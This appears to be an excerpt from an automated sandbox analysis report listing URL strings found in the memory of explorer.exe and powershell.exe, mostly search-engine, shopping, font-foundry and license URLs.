Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search.alice.it/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search.alice.it/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search.aol.co.uk/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search.aol.com/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search.aol.in/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search.atlas.cz/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search.auction.co.kr/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search.auone.jp/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search.books.com.tw/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search.books.com.tw/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search.centrum.cz/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search.centrum.cz/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search.chol.com/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search.chol.com/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search.cn.yahoo.com/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search.daum.net/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search.daum.net/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search.dreamwiz.com/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search.dreamwiz.com/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search.ebay.co.uk/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search.ebay.com/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search.ebay.com/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search.ebay.de/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search.ebay.es/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search.ebay.fr/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search.ebay.in/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search.ebay.it/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search.empas.com/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search.empas.com/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search.espn.go.com/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search.gamer.com.tw/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search.gamer.com.tw/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search.gismeteo.ru/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search.goo.ne.jp/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search.goo.ne.jp/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search.hanafos.com/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search.hanafos.com/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search.interpark.com/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search.ipop.co.kr/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search.ipop.co.kr/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search.live.com/results.aspx?FORM=IEFM1&amp;q=
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search.live.com/results.aspx?FORM=SO2TDF&amp;q=
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search.live.com/results.aspx?FORM=SOLTDF&amp;q=
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search.live.com/results.aspx?q=
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search.livedoor.com/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search.livedoor.com/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search.lycos.co.uk/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search.lycos.com/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search.lycos.com/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search.msn.co.jp/results.aspx?q=
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search.msn.co.uk/results.aspx?q=
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search.msn.com.cn/results.aspx?q=
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search.msn.com/results.aspx?q=
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search.nate.com/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search.naver.com/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search.naver.com/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search.nifty.com/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search.orange.co.uk/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search.orange.co.uk/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search.rediff.com/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search.rediff.com/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search.seznam.cz/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search.seznam.cz/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search.sify.com/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search.yahoo.co.jp
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search.yahoo.co.jp/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search.yahoo.com/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search.yahoo.com/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search.yahooapis.jp/AssistSearchService/V2/webassistSearch?output=iejson&amp;p=
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search.yam.com/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search1.taobao.com/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search2.estadao.com.br/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://searchresults.news.com.au/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://service2.bfast.com/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://sitesearch.timesonline.co.uk/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://so-net.search.goo.ne.jp/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://suche.aol.de/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://suche.freenet.de/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://suche.freenet.de/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://suche.lycos.de/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://suche.t-online.de/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://suche.web.de/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://suche.web.de/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://tw.search.yahoo.com/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://udn.com/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://udn.com/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://uk.ask.com/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://uk.ask.com/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://uk.search.yahoo.com/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://vachercher.lycos.fr/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://video.globo.com/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://video.globo.com/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://web.ask.com/
Source: explorer.exe, 0000001F.00000000.545744038.00000000075A0000.00000002.00000001.sdmp String found in binary or memory: http://www.%s.com
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.abril.com.br/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.abril.com.br/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.afisha.ru/App_Themes/Default/images/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.alarabiya.net/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.alarabiya.net/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.amazon.co.jp/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.amazon.co.uk/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.amazon.com/exec/obidos/external-search/104-2981279-3455918?index=blended&amp;keyword=
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.amazon.com/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.amazon.com/gp/search?ie=UTF8&amp;tag=ie8search-20&amp;index=blended&amp;linkCode=qs&amp;c
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.amazon.de/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.aol.com/favicon.ico
Source: powershell.exe, 00000016.00000003.463561816.000002650102F000.00000004.00000001.sdmp, explorer.exe, 0000001F.00000000.549206559.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000016.00000003.463966889.00000265013EA000.00000004.00000001.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.arrakis.com/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.arrakis.com/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.asharqalawsat.com/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.asharqalawsat.com/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.ask.com/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.auction.co.kr/auction.ico
Source: explorer.exe, 0000001F.00000002.604333034.000000000095C000.00000004.00000020.sdmp String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.baidu.com/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.baidu.com/favicon.ico
Source: explorer.exe, 0000001F.00000000.549206559.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.carterandcone.coml
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.cdiscount.com/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.cdiscount.com/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.ceneo.pl/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.ceneo.pl/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.chennaionline.com/ncommon/images/collogo.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.cjmall.com/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.cjmall.com/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.clarin.com/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.cnet.co.uk/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.cnet.com/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.dailymail.co.uk/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.dailymail.co.uk/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.docUrl.com/bar.htm
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.etmall.com.tw/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.etmall.com.tw/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.excite.co.jp/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.expedia.com/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.expedia.com/favicon.ico
Source: explorer.exe, 0000001F.00000000.549206559.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com
Source: explorer.exe, 0000001F.00000000.549206559.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers
Source: explorer.exe, 0000001F.00000000.549206559.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers/?
Source: explorer.exe, 0000001F.00000000.549206559.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: explorer.exe, 0000001F.00000000.549206559.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers/frere-jones.html
Source: explorer.exe, 0000001F.00000000.549206559.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers8
Source: explorer.exe, 0000001F.00000000.549206559.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers?
Source: explorer.exe, 0000001F.00000000.549206559.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designersG
Source: explorer.exe, 0000001F.00000000.549206559.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.fonts.com
Source: explorer.exe, 0000001F.00000000.549206559.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.founder.com.cn/cn
Source: explorer.exe, 0000001F.00000000.549206559.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: explorer.exe, 0000001F.00000000.549206559.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: explorer.exe, 0000001F.00000000.549206559.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: explorer.exe, 0000001F.00000000.549206559.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.gismeteo.ru/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.gmarket.co.kr/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.gmarket.co.kr/favicon.ico
Source: explorer.exe, 0000001F.00000000.549206559.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.goodfont.co.kr
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.google.co.in/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.google.co.jp/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.google.co.uk/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.google.com.br/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.google.com.sa/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.google.com.tw/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.google.com/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.google.com/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.google.cz/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.google.de/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.google.es/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.google.fr/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.google.it/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.google.pl/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.google.ru/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.google.si/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.iask.com/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.iask.com/favicon.ico
Source: explorer.exe, 0000001F.00000000.549206559.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.kkbox.com.tw/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.kkbox.com.tw/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.linternaute.com/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.maktoob.com/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.mercadolibre.com.mx/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.mercadolibre.com.mx/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.mercadolivre.com.br/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.mercadolivre.com.br/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.merlin.com.pl/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.merlin.com.pl/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.microsofttranslator.com/?ref=IE8Activity
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.microsofttranslator.com/BV.aspx?ref=IE8Activity&amp;a=
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.microsofttranslator.com/BVPrev.aspx?ref=IE8Activity
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.microsofttranslator.com/Default.aspx?ref=IE8Activity
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.microsofttranslator.com/DefaultPrev.aspx?ref=IE8Activity
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.mtv.com/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.mtv.com/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.myspace.com/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.najdi.si/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.najdi.si/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.nate.com/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.neckermann.de/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.neckermann.de/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.news.com.au/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.nifty.com/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.ocn.ne.jp/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.orange.fr/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.otto.de/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.ozon.ru/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.ozon.ru/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.ozu.es/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.paginasamarillas.es/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.paginasamarillas.es/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.pchome.com.tw/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.priceminister.com/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.priceminister.com/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.rakuten.co.jp/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.rambler.ru/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.rambler.ru/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.recherche.aol.fr/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.rtl.de/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.rtl.de/favicon.ico
Source: explorer.exe, 0000001F.00000000.549206559.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.sajatypeworks.com
Source: explorer.exe, 0000001F.00000000.549206559.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.sakkal.com
Source: explorer.exe, 0000001F.00000000.549206559.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.sandoll.co.kr
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.servicios.clarin.com/
